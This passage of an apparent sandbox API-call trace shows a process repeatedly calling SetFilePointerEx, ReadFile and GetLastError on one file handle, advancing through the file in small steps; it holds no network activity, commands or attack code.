dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.928] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x840, lpOverlapped=0x0) returned 1 [0068.928] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.928] GetLastError () returned 0x0 [0068.928] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.928] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x838, lpOverlapped=0x0) returned 1 [0068.928] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.928] GetLastError () returned 0x0 [0068.928] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.928] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x830, lpOverlapped=0x0) returned 1 [0068.929] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.929] GetLastError () returned 0x0 [0068.929] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.929] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x828, lpOverlapped=0x0) returned 1 [0068.929] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.929] GetLastError () returned 0x0 [0068.929] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.929] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x820, lpOverlapped=0x0) returned 1 [0068.929] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.930] GetLastError () returned 0x0 [0068.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.930] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x818, lpOverlapped=0x0) returned 1 [0068.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.930] GetLastError () returned 0x0 [0068.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.930] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x810, lpOverlapped=0x0) returned 1 [0068.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.930] GetLastError () returned 0x0 [0068.930] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.930] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x808, lpOverlapped=0x0) returned 1 [0068.931] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.931] GetLastError () returned 0x0 [0068.931] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.931] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x800, lpOverlapped=0x0) returned 1 [0068.931] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.931] GetLastError () returned 0x0 [0068.931] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.931] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7f8, lpOverlapped=0x0) returned 1 [0068.932] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.932] GetLastError () returned 0x0 [0068.932] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.932] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7f0, lpOverlapped=0x0) returned 1 [0068.932] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.932] GetLastError () returned 0x0 [0068.932] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.932] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7e8, lpOverlapped=0x0) returned 1 [0068.932] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.932] GetLastError () returned 0x0 [0068.932] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.933] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7e0, lpOverlapped=0x0) returned 1 [0068.933] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.933] GetLastError () returned 0x0 [0068.933] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.933] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7d8, lpOverlapped=0x0) returned 1 [0068.933] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.933] GetLastError () returned 0x0 [0068.933] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.933] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7d0, lpOverlapped=0x0) returned 1 [0068.933] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.934] GetLastError () returned 0x0 [0068.934] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.934] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7c8, lpOverlapped=0x0) returned 1 [0068.934] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.934] GetLastError () returned 0x0 [0068.934] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.934] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7c0, lpOverlapped=0x0) returned 1 [0068.934] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.934] GetLastError () returned 0x0 [0068.934] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.934] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7b8, lpOverlapped=0x0) returned 1 [0068.935] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.935] GetLastError () returned 0x0 [0068.935] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.935] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7b0, lpOverlapped=0x0) returned 1 [0068.935] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.935] GetLastError () returned 0x0 [0068.935] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.935] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7a8, lpOverlapped=0x0) returned 1 [0068.935] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.935] GetLastError () returned 0x0 [0068.936] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.936] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x7a0, lpOverlapped=0x0) returned 1 [0068.936] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.936] GetLastError () returned 0x0 [0068.936] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.936] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x798, lpOverlapped=0x0) returned 1 [0068.936] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.936] GetLastError () returned 0x0 [0068.936] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.936] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x790, lpOverlapped=0x0) returned 1 [0068.937] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.937] GetLastError () returned 0x0 [0068.937] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.937] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x788, lpOverlapped=0x0) returned 1 [0068.937] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.937] GetLastError () returned 0x0 [0068.937] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.937] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x780, lpOverlapped=0x0) returned 1 [0068.937] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.937] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x778, lpOverlapped=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x770, lpOverlapped=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x768, lpOverlapped=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x760, lpOverlapped=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.938] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x758, lpOverlapped=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x750, lpOverlapped=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x748, lpOverlapped=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x740, lpOverlapped=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x738, lpOverlapped=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.939] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x730, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x728, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x720, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x718, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x710, lpOverlapped=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.940] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x708, lpOverlapped=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x700, lpOverlapped=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6f8, lpOverlapped=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6f0, lpOverlapped=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.941] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x6e8, lpOverlapped=0x0) returned 1 [0068.941] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: 